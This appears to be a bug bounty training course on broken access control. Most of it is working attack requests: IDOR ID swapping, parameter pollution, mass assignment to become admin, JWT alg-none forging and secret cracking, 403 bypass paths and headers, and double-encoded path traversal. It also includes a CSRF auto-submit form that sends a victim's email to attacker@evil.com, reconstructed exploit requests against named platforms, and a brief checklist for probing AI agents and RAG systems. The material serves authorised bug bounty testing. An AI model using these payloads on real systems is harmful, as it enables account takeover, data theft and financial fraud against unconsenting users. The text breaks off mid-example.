ARCANUM SECURITY TRAINING
From fundamental concepts to advanced exploitation chains
that have earned six-figure bounties
This isn't just a list of techniques.
It's about developing intuition.
Understanding why developers make mistakes.
And knowing where to look when others give up.
Phase 1: Foundations โ Understand what access control IS and how it breaks
Phase 2: Detection โ Learn to systematically find vulnerabilities
Phase 3: Exploitation โ Master bypass techniques and variants
Phase 4: Advanced โ GraphQL, JWTs, race conditions, AI/RAG
Phase 5: Mastery โ Chaining, automation, real-world case studies
Essential knowledge for this course
Even experienced hunters miss bugs because they skipped fundamentals.
id=1 to id=2...X-Tenant-ID header.
10 minutes here saves 10 hours of confusion later.
If you remember only ONE thing from this course...
๐ Authentication = "Who are you?" โ Proving your identity
๐ซ Authorization = "What can you do?" โ What resources/actions permitted
The app knows who you are...
...but doesn't check if you're allowed.
Every vulnerability in this course lives in HTTP requests.
If you can't read a request, you can't find the bug.
POST /api/users/123/profile HTTP/1.1 โ Request line
Host: api.example.com โ Headers
Authorization: Bearer eyJhbGciOi... โ Auth header
Content-Type: application/json
Cookie: session=abc123
{"email": "new@email.com"} โ Request body
Every IDOR attack manipulates something in this structure.
GET - Read dataPOST - Create dataPUT - Replace dataPATCH - Update dataDELETE - Remove data200 - OK (success)401 - Unauthorized (login)403 - Forbidden (not allowed)404 - Not Found500 - Server ErrorBurp Suite / Caido
Intercept & modify requests
ffuf / nuclei
Brute-force endpoints
jsluice / LinkFinder
Extract URLs & secrets
When you log in, the server needs to remember who you are.
This is where our attacks live.
If the server can't verify YOU own something...
...it might give it to someone else.
Session Cookies
Cookie: session=abc123xyz
Server stores data, you get an ID
JWTs (JSON Web Tokens)
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
User data encoded IN the token itself
API Keys
X-API-Key: sk_live_abc123
Static secret identifying your account
Real-world wisdom from elite bug bounty hunters
They've made every mistake so you don't have to.
They've found patterns that took years to discover.
Their mindset is worth more than any technique.
"Trying harder has little to do with hacking; thinking smarter does. You could try harder to lift a 5000 lb boulder with your bare hands, but it's not going to happen. Instead, use your brain - rig up a system of pulleys, rent a tractor, or blow up that boulder with TNT."
"If bug bounty is a FPS game, then each 403 is you getting wrecked and each repeater tab is your respawn. In bug bounty, I'll take a 1:300 KDR."
Expect to fail 299 times for every win. That's normal.
Keep opening repeater tabs.
| Bug Type | Bounty | Key Technique |
|---|---|---|
| Race Condition IDOR | $36,750 | Order IDs vulnerable during in-progress state |
| Hidden Parameter (ssn) | $57,750 | Guessed 'ssn' param based on app context |
| Spring Boot Actuator | $55,000 | /actuator/heapdump%23 WAF bypass |
| Mock JSON Files in JS | $10,000 | Search JS for ".JSON" โ /assets/mock/ with PII |
ZwinK averages 40 reports per program deep dive.
Use "forgot password" page WHILE LOGGED IN to stuff session variables with victim's username.
Login โ Visit forgot password โ Enter victim username
โ Refresh โ Now logged in as victim
Found on Fortune 10 banks, banking software for 1000s of banks.
Understanding access control at the architecture level
Access control is the bouncer of your application.
It decides who gets in and what they can do.
When the bouncer is asleep...
...everyone gets backstage access.
Every vulnerability exists because one of these questions isn't answered correctly.
Who are you?
What can you access?
Is the request valid?
When you click a button, your request travels through multiple layers.
Each layer should check if you're allowed.
But often... only one layer checks.
Or worse: none of them do.
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CLIENT (Browser/App) โ
โ โ โ
โ API GATEWAY / WAF โ Sometimes auth here (weak) โ
โ โ โ
โ LOAD BALANCER โ
โ โ โ
โ APPLICATION SERVER โ Auth should live HERE โ
โ โ โ
โ DATABASE โ Last resort (WHERE clauses) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ ๏ธ Common mistake: Auth checks ONLY at the gateway or ONLY in the frontend. Backend must always verify!
| Model | Description | Vulnerability Pattern |
|---|---|---|
| RBAC Role-Based |
Access based on roles (admin, user, manager) | Role parameter tampering, role confusion |
| ABAC Attribute-Based |
Access based on attributes (department, time, location) | Attribute injection, policy gaps |
| ReBAC Relationship-Based |
Access based on relationships (owner, member, viewer) | Relationship graph manipulation |
How pros find bugs consistently โ not randomly
Random testing = random results.
Systematic testing = consistent findings.
id=1 to id=2 and hopes.Where would a developer need to reference a user-controlled resource?
Every feature that shows "your" data is potentially vulnerable:
Your job: Prove the application doesn't verify "your."
Most people only check the URL path.
But IDs hide everywhere.
Headers, cookies, JSON bodies, Base64 blobs...
If you don't check them all, you're leaving bugs behind.
Common locations:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ URL Path: /api/users/12345/profile โ
โ Query String: /download?fileId=abc-123&userId=12345 โ
โ Request Body: {"orderId": "ORD-2024-00001", "qty": 2} โ
โ Headers: X-Tenant-ID: org_abc123 โ
โ Cookies: user_preference=uid:12345:theme:dark โ
โ Fragments: /#/document/doc_xyz789 โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
| Type | Example | Predictability | Attack |
|---|---|---|---|
| Sequential Int | 12345 |
High | Increment/decrement |
| UUID v4 | 550e8400-e29b-... |
Low | Find leakage points |
| Base64 | MTIzNDU= |
Decode first | Decode โ modify โ re-encode |
| Composite | ORD-2024-00001 |
Pattern | Vary each component |
Sometimes the "object ID" isn't a UUID...
It's a real-world identifier.
Phone numbers. Social Security Numbers. VINs.
These are already known to attackers.
| Real-World ID | Example Endpoint |
|---|---|
| SSN | /api/benefits?ssn=123-45-6789 |
| Phone Number | /api/lookup?phone=5551234567 |
| Real-World ID | Example Endpoint |
|---|---|
/api/account?email=a@b.com |
|
| VIN | /api/vehicle?vin=1HGBH41J... |
# 1. As Account A, perform an action that uses a resource ID
curl -X GET "https://api.target.com/v1/orders/ORDER-A-001" \
-H "Authorization: Bearer <TOKEN_A>"
# 2. Capture Account B's resource ID (from their session)
# Account B's order ID: ORDER-B-002
# 3. As Account A, request Account B's resource
curl -X GET "https://api.target.com/v1/orders/ORDER-B-002" \
-H "Authorization: Bearer <TOKEN_A>"
# If you get B's data โ IDOR confirmed!
When basic ID swapping fails, these techniques bypass incomplete checks.
Each exploits a different parsing inconsistency.
# Backend might only validate FIRST param, but USE the second
GET /api/orders?id=MY_ORDER&id=VICTIM_ORDER
# Or try different formats
GET /api/orders?id=MY_ORDER&id[]=VICTIM_ORDER
GET /api/orders?id[0]=MY_ORDER&id[1]=VICTIM_ORDER
| Framework | ?a=1&a=2 returns |
|---|---|
| PHP | Last value: "2" |
| ASP.NET | Both: "1,2" |
| Node/Express | Array: ["1","2"] |
| Python/Flask | First value: "1" |
| Java/Spring | First value: "1" |
# WAF validates first param, PHP uses last
GET /api/order?id=MY_ORDER&id=VICTIM_ORDER
# WAF sees: id=MY_ORDER โ (your order, allowed)
# PHP uses: id=VICTIM_ORDER โ gets victim's data!
# Reverse the order for first-wins frameworks
GET /api/order?id=VICTIM_ORDER&id=MY_ORDER
# Backend uses: id=VICTIM_ORDER โ first one!
# But logs show: legitimate request with MY_ORDER
# ASP.NET joins values with comma
GET /api/search?user=admin&user=*
# Backend receives: user="admin,*"
# If parsed as CSV โ might match "admin" OR wildcard!
# SQL injection variant:
GET /api/data?id=1&id=OR 1=1--
# Becomes: id="1,OR 1=1--" โ SQL breaks!
# Express creates array from duplicates
GET /api/documents?id=doc1&id=doc2&id=doc3
# Backend receives: id=["doc1","doc2","doc3"]
# If code does: docs.find(id) โ might return ALL
# If code does: id.includes(validId) โ bypass!
// Normal request
{"order_id": "ORD-123"}
// Array injection - might return ALL orders
{"order_id": ["ORD-123", "ORD-456", "ORD-789"]}
// Or with explicit array syntax
{"order_ids": ["ORD-123", "ORD-456"]}
POST /api/documents/download HTTP/1.1
Content-Type: application/json
Authorization: Bearer USER_TOKEN
{"document_ids": ["doc_abc", "doc_xyz", "doc_VICTIM"]}
documents[0].owner == user
# GET blocked? Try others:
POST /api/users/123 HTTP/1.1 # Sometimes works!
PUT /api/users/123 HTTP/1.1 # Update might be open
PATCH /api/users/123 HTTP/1.1 # Partial update
DELETE /api/users/123 HTTP/1.1 # Delete might slip through
Some frameworks support method override headers:
# Send POST but tell server to treat as DELETE
POST /api/users/123 HTTP/1.1
X-HTTP-Method-Override: DELETE
# Other variants
X-Method-Override: PUT
X-HTTP-Method: PATCH
_method=DELETE (as POST body parameter)
# Original JSON request
POST /api/update HTTP/1.1
Content-Type: application/json
{"user_id": "123", "role": "admin"}
# Try as form data
POST /api/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user_id=123&role=admin
# Try as XML
POST /api/update HTTP/1.1
Content-Type: application/xml
<request><user_id>123</user_id><role>admin</role></request>
"role": "admin"
# Current (protected)
GET /api/v3/users/123 HTTP/1.1 โ 403 Forbidden
# Try older versions
GET /api/v2/users/123 HTTP/1.1 โ 200 OK (!)
GET /api/v1/users/123 HTTP/1.1 โ 200 OK (!)
# Or without version
GET /api/users/123 HTTP/1.1 โ 200 OK (!)
# Different formats
GET /v2/api/users/123 HTTP/1.1
GET /api/users/123?version=1
Accept: application/vnd.api.v1+json
โ Create 2+ test accounts with different roles
โ Map all endpoints that use object references
โ Classify all identifier types (int, UUID, encoded)
โ Collect sample IDs from each account
โ Test horizontal access (same role, different user)
โ Test vertical access (lower โ higher role)
โ Test unauthenticated access
โ Try all HTTP methods on each endpoint
โ Test with modified/removed auth tokens
In tutorials, you change id=1 to id=2.
In real apps, developers try to hide or protect IDs.
This module teaches you to get past those protections.
# Base64 encoded user ID
GET /api/user/MTIzNDU= # decodes to "12345"
# Attack: decode โ modify โ re-encode
echo "12346" | base64 # MTIzNDY=
GET /api/user/MTIzNDY= # Access user 12346!
# Single encoding (WAF catches this)
../etc/passwd โ %2e%2e%2fetc%2fpasswd
# Double encoding (WAF sees encoded, backend decodes twice)
%252e%252e%252fetc%252fpasswd
# Triple encoding (for paranoid WAFs)
%25252e%25252e%25252fetc%25252fpasswd
| Character | Single | Double | Triple |
|---|---|---|---|
| / | %2f | %252f | %25252f |
| . | %2e | %252e | %25252e |
| \ | %5c | %255c | %25255c |
| : | %3a | %253a | %25253a |
%2e.%252f
UUIDs seem random and unpredictable.
But they leak everywhere.
Your job: find the leak.
# Can't read victim's data, but can modify it
PUT /api/users/VICTIM_ID/settings HTTP/1.1
Authorization: Bearer ATTACKER_TOKEN
{"notifications": "off"}
# Response: 200 OK (but no data returned)
# Victim's settings ARE changed!
Step 1: Set your profile picture URL to victim's private photo
Step 2: Export your profile as PDF
Step 3: PDF contains victim's private photo!
Or:
Step 1: Add victim's email to your "referrals"
Step 2: Download referral report
Step 3: Report includes victim's account details
// Normal request
{"order_id": "ORD-001"}
// Array injection - access multiple orders
{"order_id": ["ORD-001", "ORD-002", "ORD-999"]}
// Nested object injection
{"order": {"id": "ORD-001", "user_id": "VICTIM"}}
# Normal: access your files
GET /files/user123/document.pdf
# Path traversal: access other users
GET /files/user123/../user456/document.pdf
GET /files/user123/..%2Fuser456/document.pdf
GET /files/user123%2f..%2fuser456/document.pdf
id[]=123{"id":123}?id=me&id=victimid=*id=-1%u002eSame privilege level, different user
Vertical escalation gets the headlines.
But horizontal IDOR causes mass data breaches.
One bug ร million users = catastrophe.
# Your profile
GET /api/v1/users/123/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN
# Response includes: name, email, phone, address, SSN...
# Victim's profile - same request, different ID
GET /api/v1/users/456/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN
# If you get their data โ Critical IDOR
The UI shows: Name, Email.
The API returns: Name, Email, SSN, Password Hash, Admin Notes...
ALWAYS check raw API responses.
// UI shows: name, email
// API returns:
{
"name": "John Doe",
"email": "john@example.com",
"internal_id": 12345, // Hidden!
"ssn": "123-45-6789", // Hidden!
"admin_notes": "VIP customer", // Hidden!
"password_hash": "abc123..." // Critical!
}
The UI is designed for users.
The API often returns everything.
Use Burp Suite / browser DevTools to see the real response.
# Modify victim's profile
PUT /api/users/VICTIM_ID/profile HTTP/1.1
Authorization: Bearer YOUR_TOKEN
Content-Type: application/json
{
"email": "attacker@evil.com",
"phone": "555-ATTACKER"
}
# Account takeover via email change!
Horizontal IDOR: access peer data.
Vertical IDOR: become admin.
This is where bounties get serious.
role=admin in body
# Normal user registration
POST /api/register HTTP/1.1
Content-Type: application/json
{
"email": "user@example.com",
"password": "pass123"
}
# Add role parameter
POST /api/register HTTP/1.1
Content-Type: application/json
{
"email": "attacker@evil.com",
"password": "pass123",
"role": "admin",
"isAdmin": true,
"user_type": 1
}
# Update profile - add privileged fields
PUT /api/users/me HTTP/1.1
Content-Type: application/json
{
"name": "Attacker",
"role": "admin", // Try these
"is_admin": true,
"permissions": ["all"],
"account_type": "premium",
"subscription_tier": "enterprise",
"verified": true,
"email_verified": true
}
What if horizontal IDOR reveals admin's user ID?
Now use that ID to access admin functions.
Horizontal โ Vertical escalation.
Step 1: GET /api/users โ Find admin user_id: 1
Step 2: GET /api/users/1/api_keys โ Steal admin API key
Step 3: Use admin API key โ Full admin access
When users access functions they shouldn't
BOLA (IDOR): Access data you shouldn't.
BFLA: Access functions you shouldn't.
Access data you shouldn't
/api/users/VICTIM_ID
Object-level authorization failure
Access functions you shouldn't
/api/admin/delete-user
Function-level authorization failure
# Wordlist-based discovery
ffuf -u "https://target.com/api/FUZZ" \
-w /usr/share/wordlists/api-endpoints.txt \
-H "Authorization: Bearer $USER_TOKEN" \
-mc 200,201,403
# JavaScript analysis
cat bundle.js | grep -oE '/api/[a-zA-Z0-9/_-]+' | sort -u
# Swagger/OpenAPI endpoints
curl https://target.com/swagger.json
curl https://target.com/api-docs
curl https://target.com/openapi.yaml
Time-of-Check to Time-of-Use vulnerabilities
Authorization happens at one moment.
Action happens at another.
What if you slip through the gap?
Use resource before limit applies
Change state during transaction
# Using curl with HTTP/2 multiplexing
curl --http2 \
-d '{"action":"redeem","code":"DISCOUNT50"}' \
-d '{"action":"redeem","code":"DISCOUNT50"}' \
-d '{"action":"redeem","code":"DISCOUNT50"}' \
https://target.com/api/coupons &
JWTs are everywhere in modern apps.
They carry your identity.
If you can forge one... you become anyone.
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.signature
Header: {"alg": "HS256"}
Payload: {"user": "john", "role": "user"}
Signature: HMAC-SHA256(header.payload, secret)
Anyone can read the payload.
The signature only prevents tampering.
If you can bypass signature verification...
...you can become anyone.
// Original
{"alg": "HS256"}
// Attack - set algorithm to none
{"alg": "none"}
// New token (no signature needed!)
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
# Crack JWT secret with hashcat
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Or with jwt_tool
python3 jwt_tool.py $JWT -C -d wordlist.txt
# Common weak secrets:
# secret, password, 123456, your-256-bit-secret
// Original payload
{
"user_id": 123,
"role": "user",
"permissions": ["read"]
}
// Modified payload (re-sign with cracked/bypassed algo)
{
"user_id": 123,
"role": "admin",
"permissions": ["read", "write", "delete", "admin"]
}
| Attack | Payload |
|---|---|
| Alg none | {"alg":"none"} |
| Alg None | {"alg":"None"} |
| Alg NONE | {"alg":"NONE"} |
| RSโHS confusion | {"alg":"HS256"} + public key |
| KID injection | {"kid":"../../dev/null"} |
| JKU injection | {"jku":"https://evil.com/jwks"} |
REST: One endpoint, one resource.
GraphQL: One endpoint, everything.
If authorization is missing... you get it all.
# Dump entire schema
{
__schema {
types {
name
fields {
name
type { name }
}
}
}
}
# Find all queries and mutations
{
__schema {
queryType { fields { name } }
mutationType { fields { name } }
}
}
# Your user
query {
user(id: "123") {
id
email
ssn
creditCard
}
}
# Victim's user - just change ID
query {
user(id: "456") {
id
email
ssn
creditCard
}
}
# Enumerate users in single request
query {
user1: user(id: "1") { email }
user2: user(id: "2") { email }
user3: user(id: "3") { email }
# ... up to user1000
}
# Direct access blocked
query { adminSettings { ... } } # 403
# But nested access works!
query {
user(id: "me") {
organization {
adminSettings { # Reaches admin data!
secretKey
apiCredentials
}
}
}
}
The UI is just a pretty face.
The API is where data lives.
Most bugs are found in API endpoints, not UI.
# Common API documentation endpoints
/swagger.json
/api-docs
/openapi.yaml
/v1/docs
/graphql (introspection)
/.well-known/openapi.json
# Kiterunner - smart API discovery
kr scan https://target.com -w routes-large.kite
# JS file analysis
cat *.js | grep -oE '"/api/[^"]+' | sort -u
# Try all version variants
/api/v1/users/123 โ 403 Forbidden
/api/v2/users/123 โ 200 OK (no auth!)
/api/v3/users/123 โ 200 OK
/api/users/123 โ 200 OK (default = old)
# Version in headers
X-API-Version: 1
X-API-Version: 2
Accept: application/vnd.api.v2+json
# Original JSON request
Content-Type: application/json
{"user_id": 123}
# Try XML (XXE potential too!)
Content-Type: application/xml
<user_id>456</user_id>
# Try form data
Content-Type: application/x-www-form-urlencoded
user_id=456
# Server may parse differently = bypass!
SaaS apps host multiple companies on one platform.
Acme Corp should NEVER see Contoso's data.
Break isolation = compromise every customer.
tenant1.app.com/tenant1/api/usersX-Tenant-ID: tenant1{"tenant": "tenant1"}tenant=tenant1
# Your request
GET /api/data HTTP/1.1
Host: yourtenant.app.com
Authorization: Bearer YOUR_TOKEN
# Add/override tenant header
GET /api/data HTTP/1.1
Host: yourtenant.app.com
X-Tenant-ID: victim_tenant
X-Org-ID: victim_org
Authorization: Bearer YOUR_TOKEN
โ Identify tenant isolation mechanism
โ Try injecting/overriding tenant headers
โ Test cross-tenant data access
โ Check shared resources (files, configs)
โ Test user invitation across tenants
โ Check SSO/SAML tenant confusion
IDOR alone: read someone's profile. (Medium)
IDOR + CSRF: change everyone's password. (Critical)
IDOR + XSS: steal any session. (Critical)
<!-- CSRF to change email via IDOR -->
<form action="https://target.com/api/user/VICTIM/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
IDOR alone: access data
+ CSRF: modify ANY user's account without interaction!
1. Find IDOR to write to victim's profile
2. Inject XSS payload into their profile field
3. When victim views their profile โ XSS fires
4. Steal session token โ Account takeover
IDOR: Can modify victim data
+ XSS: Execute JS in their session
= Complete account takeover
Self-XSS alone: "Won't Fix" - only affects yourself
But with IDOR:
1. Self-XSS in profile bio field
2. IDOR to write YOUR bio to VICTIM's profile
3. Victim's profile now has stored XSS
4. Escalated to critical!
Manual testing finds deep bugs.
Automation finds all the low-hanging fruit.
Smart hunters use both.
#!/bin/bash
# idor-enum.sh - Enumerate IDs with ffuf
TARGET="$1"
ENDPOINT="$2" # /api/users/FUZZ
ffuf -u "${TARGET}${ENDPOINT}" \
-H "Authorization: Bearer $TOKEN" \
-w <(seq 1 10000) \
-mc 200 \
-t 50 \
-o idor-results.json \
-of json
# Parse results
jq '.results[] | {id: .input.FUZZ, status: .status}' \
idor-results.json
| Tool | Best For | Limitations |
|---|---|---|
| Autorize | Auto-test all traffic | Manual review needed |
| ffuf | Fast ID enumeration | No auto-detection |
| Nuclei | Template-based scanning | Needs custom templates |
| Custom scripts | Specific logic | Time to write |
Theory is important.
But nothing beats seeing real bugs in real applications.
These earned real money.
GET /api/v1/account/lookup HTTP/1.1
Authorization: Bearer [YOUR_TOKEN]
{"phone_number": "VICTIM_PHONE"}
Impact: Full account details (name, address, PIN, devices) for ANY phone number.
$680,000 cumulative from access control bugs alone
Guessed ssn parameter based on application context (financial app)
GET /api/user?ssn=123-45-6789
Not visible in client code โ pure intuition!
$57,750
/actuator/heapdump%23
WAF blocked /actuator/heapdump but not URL-encoded variant
Heapdump contained live auth tokens!
$55,000
Most testers see 403 and move on.
But 403 often means: "I'm here, but protected".
Your job: find the bypass.
/admin โ 403
/admin/ โ 200
/admin// โ 200
/./admin โ 200
/admin/. โ 200
/admin;/ โ 200
/admin..;/ โ 200
/%2fadmin โ 200
/admin%20 โ 200
/admin%09 โ 200
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: localhost
X-Host: localhost
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
| Endpoint | Data Exposed | Severity |
|---|---|---|
| /actuator/heapdump | Memory dump with secrets | Critical |
| /actuator/env | Environment variables, API keys | Critical |
| /actuator/configprops | Configuration properties | High |
| /actuator/mappings | All URL mappings | Medium |
Everyone uses cloud storage now.
S3 buckets, GCS, Azure Blob.
And everyone misconfigures them.
aws s3 ls s3://bucket --no-sign-request to test public access.
# Your file
https://bucket.s3.amazonaws.com/users/123/document.pdf
# Try other users
https://bucket.s3.amazonaws.com/users/124/document.pdf
https://bucket.s3.amazonaws.com/users/1/document.pdf
https://bucket.s3.amazonaws.com/admin/secrets.pdf
# List bucket contents
aws s3 ls s3://bucket-name --no-sign-request
AI is being added to everything.
ChatGPT plugins, RAG systems, AI agents.
And authorization is an afterthought.
This is where the bugs are RIGHT NOW.
User: "Send email to john@company.com"
Agent has access to:
- YOUR email account (intended)
- All users' email accounts (IDOR!)
If agent doesn't verify ownership:
"Send email from ceo@company.com to all-staff@company.com
Subject: You're all fired"
โ Reference other users' resources in prompts
โ Ask AI to list available documents/resources
โ Try to access "system" or "admin" collections
โ Check if AI reveals document sources
โ Test multi-tenant isolation in shared AI
You can't hack what you can't see.
Hidden endpoints. Undocumented parameters. Old API versions.
This is where the best bugs hide.
# Extract endpoints from JS
cat bundle.js | grep -oE '"/api/[^"]+' | sort -u
# jsluice - modern JS analysis
jsluice urls bundle.js
jsluice secrets bundle.js
# LinkFinder
python linkfinder.py -i https://target.com/app.js -o cli
# Check for source maps
curl https://target.com/bundle.js.map
# If exists: full source code!
# Extract with sourcemapper
sourcemapper -url https://target.com/bundle.js.map -output ./source
# Search extracted source for:
# - API endpoints
# - Hidden parameters
# - Admin functions
# - Hardcoded secrets
# Historical endpoints
waybackurls target.com | grep api | sort -u
# Deprecated versions still work?
/api/v1/admin โ 403 (blocked)
/api/v0/admin โ 200 (old version, no auth!)
# gau (Get All URLs)
gau target.com | grep -E "api|admin|internal"
Every report here is real.
Each includes actual or intuited request payloads.
Study the patterns. Copy the techniques.
1๏ธโฃ Horizontal IDOR
2๏ธโฃ Vertical IDOR
3๏ธโฃ Account Takeover IDOR
4๏ธโฃ Financial IDOR
5๏ธโฃ File/Document IDOR
6๏ธโฃ Multi-Tenant IDOR
7๏ธโฃ GraphQL IDOR
8๏ธโฃ Mobile App IDOR
9๏ธโฃ Race Condition IDOR
๐ API Versioning IDOR
1๏ธโฃ1๏ธโฃ Hidden Parameter IDOR
1๏ธโฃ2๏ธโฃ Webhook IDOR
Platform: HackerOne | Type: Read | #300131
# Attacker accesses any program's private bounty structure
GET /programs/VICTIM-PROGRAM-HANDLE/bounty_table HTTP/1.1
Host: hackerone.com
Authorization: Bearer attacker_api_token
# Response: Full bounty structure exposed
{
"program": "victim-program",
"bounty_table": {
"critical": {"min": 10000, "max": 25000},
"high": {"min": 5000, "max": 10000},
"medium": {"min": 1000, "max": 5000},
"low": {"min": 100, "max": 1000}
},
"total_paid_bounties": 1250000,
"average_time_to_bounty": "14 days"
}
Impact: Competitive intelligence exposure. Private program details leaked.
Platform: Uber | Type: Read | #294320
# UUID leaked via public link, then used to access private data
# Step 1: Find leaked UUID in shared trip link
https://riders.uber.com/trip/abc123-uuid-leaked-in-url
# Step 2: Use UUID to access user's full profile
GET /api/v1/users/abc123-uuid-leaked-in-url/profile HTTP/1.1
Host: api.uber.com
Authorization: Bearer attacker_token
# Response: Private user data!
{
"uuid": "abc123-uuid-leaked-in-url",
"email": "victim@email.com",
"phone": "+1-555-0199",
"payment_methods": [...],
"ride_history": [...],
"home_address": "123 Secret Street"
}
Impact: PII exposure via "unpredictable" UUID that was leaked elsewhere.
Platform: GitLab | Type: Read | #402903
# Access private snippets via GraphQL IDOR
POST /api/graphql HTTP/1.1
Host: gitlab.com
Authorization: Bearer attacker_token
Content-Type: application/json
{
"query": "query {
snippets(ids: [\"gid://gitlab/PersonalSnippet/12345\"]) {
nodes {
title
content
author { username }
}
}
}"
}
# Response: Private snippet content
{
"data": {
"snippets": {
"nodes": [{
"title": "Production DB Credentials",
"content": "DB_PASS=super_secret_password_123",
"author": {"username": "victim-developer"}
}]
}
}
}
Platform: Zomato | Type: Read | #335498
# Actual Request from Report #335498
# Simply changing merchant ID parameter exposed another merchant's data
GET /webroutes/merchant/MER_ID_VICTIM/orders HTTP/1.1
Host: merchant.zomato.com
Cookie: merchant_session=attacker_session
# Response: Full order data for competitor restaurant
{
"orders": [
{
"order_id": "ORD-789",
"customer_name": "Customer Name",
"items": [...],
"total": 45.99
}
]
}
Impact: Competitor business intelligence. Customer data exposure.
Platform: PayPal | Type: Write (Critical) | Public disclosure
# Intuited flow based on disclosed patterns
POST /api/v1/password/reset HTTP/1.1
Host: secure.paypal.com
Content-Type: application/json
{
"reset_token": "valid-token-from-my-account",
"user_id": "VICTIM-USER-ID",
"new_password": "attacker_controlled_password"
}
# Response: Password changed for victim!
{"status": "success", "message": "Password updated"}
Impact: Full account takeover of ANY PayPal account!
Platform: Shopify | Type: Write | #411905
# Change email address for any partner account
POST /api/partners/users/VICTIM-USER-ID/email HTTP/1.1
Host: partners.shopify.com
Authorization: Bearer attacker_partner_token
Content-Type: application/json
{
"email": "attacker@evil.com"
}
# Response: Email changed without authorization check
{"status": "success", "new_email": "attacker@evil.com"}
# Attack chain:
# 1. Change victim's email to attacker-controlled
# 2. Request password reset to new email
# 3. Full account takeover achieved
Platform: Mozilla | Type: Auth Bypass | #226512
# Step 1: Start 2FA verification for victim
POST /api/v1/auth/2fa/verify HTTP/1.1
Content-Type: application/json
{
"user_id": "VICTIM-USER-ID",
"session_id": "attacker_session"
}
# Step 2: Bypass 2FA by passing attacker's valid code with victim's user_id
POST /api/v1/auth/2fa/complete HTTP/1.1
Content-Type: application/json
{
"user_id": "VICTIM-USER-ID",
"code": "123456", // Attacker's valid 2FA code
"session_id": "attacker_session"
}
# Response: Authenticated as victim!
{"status": "success", "user": "VICTIM-USER-ID", "token": "..."}
Impact: Complete 2FA bypass. Account takeover even with MFA.
Platform: Starbucks | Type: Write | #134238
# Actual Request from Report #134238
POST /bff/proxy/orchestra/get-rewards-program-item HTTP/1.1
Host: www.starbucks.com
Content-Type: application/json
Cookie: [attacker session]
{
"rewardsItem": "REWARDS-VICTIM-CARD-NUMBER",
"requestor": "ATTACKER-ACCOUNT-ID"
}
# IDOR: Add any gift card to attacker's account
# Just needed the 16-digit gift card number
Impact: Steal gift card balances. Financial theft at scale.
Platform: Twitter/X | Type: Write | #138745
# Modify any account's ad campaign billing settings
PUT /api/ads/accounts/VICTIM-AD-ACCOUNT/billing HTTP/1.1
Host: ads.twitter.com
Authorization: Bearer attacker_oauth_token
Content-Type: application/json
{
"payment_method_id": "ATTACKER-PAYMENT-METHOD",
"billing_email": "attacker@evil.com"
}
# Attack scenarios:
# 1. Charge victim's campaigns to attacker's prepaid card, claim refund
# 2. Change billing email to intercept invoices
# 3. Cancel victim's payment method to disrupt their ads
Platform: Shipt | Type: Write | #436472
# Modify item price during checkout
POST /api/v1/cart/items/ITEM-ID/price HTTP/1.1
Host: api.shipt.com
Authorization: Bearer customer_token
Content-Type: application/json
{
"price": 0.01, // Original: $49.99
"quantity": 10
}
# Response: Price accepted!
{
"cart_total": 0.10, // Should be $499.90
"items": [{"name": "Premium Item", "price": 0.01, "qty": 10}]
}
Impact: Purchase items for pennies. Unlimited financial loss.
Platform: Vimeo | Type: Read | #200352
# Enumerate private video IDs (sequential in some ranges)
GET /api/v2/videos/123456789/config HTTP/1.1
Host: player.vimeo.com
# Response: Direct download URLs exposed
{
"video": {
"id": 123456789,
"privacy": "password", // Should require password!
"files": [
{"url": "https://vod-secure.cdn.../video_1080p.mp4", "quality": "1080p"},
{"url": "https://vod-secure.cdn.../video_720p.mp4", "quality": "720p"}
]
}
}
# Bypass: Direct download without knowing password
curl -O "https://vod-secure.cdn.../video_1080p.mp4"
Platform: Line | Type: Read | #289257
# Access any user's private shared files
GET /obs/download/files/VICTIM-USER-ID/VICTIM-FILE-ID HTTP/1.1
Host: obs.line-apps.com
Authorization: Bearer attacker_token
# Response: Private file downloaded
Content-Type: application/pdf
Content-Disposition: attachment; filename="confidential_contract.pdf"
[File binary data]
# Enumeration: File IDs were sequential within user context
for file_id in $(seq 1 1000); do
curl -H "Auth: token" "https://obs.line-apps.com/obs/download/files/VICTIM/$file_id"
done
Platform: Zomato | Type: Delete | #404797
# Actual Request from Report #404797
GET /php/client_manage_handler?res_id=REDACTED&photo_ids%5B%5D=r_YxNDUOTE4MTYzO&removable=1&case=remove-active-photo HTTP/1.1
Host: www.zomato.com
Cookie: PHPSESSID=...; fbcity=283; zhli=1
# Vulnerability: photo_ids[] accepts ANY restaurant's photo ID
# Steps:
# 1. Navigate to competitor's restaurant page, click "All photos"
# 2. Get photo_id from the photoviewer request
# 3. Change photo_ids[] to competitor's photo ID - delete succeeds
Impact: Competitor sabotage. Restaurant reputation damage.
Multi-Tenant | #243943
# Access another partner organization's shop data
GET /api/partners/organizations/OTHER-ORG-456/shops HTTP/1.1
Host: partners.shopify.com
Authorization: Bearer partner_token_with_manage_apps
# Response: Cross-tenant shop data exposed
{
"organization_id": "OTHER-ORG-456",
"organization_name": "Competitor Agency",
"shops": [{
"shop_name": "Big Client Store",
"owner_email": "ceo@bigclient.com",
"plan": "Shopify Plus",
"staff": [
{"name": "Admin User", "email": "admin@bigclient.com"}
]
}]
}
Impact: Client list theft. Staff contact exposure.
Pattern from multiple programs | Recursive Query Data Leak
POST /graphql HTTP/1.1
Authorization: Bearer attacker_token
Content-Type: application/json
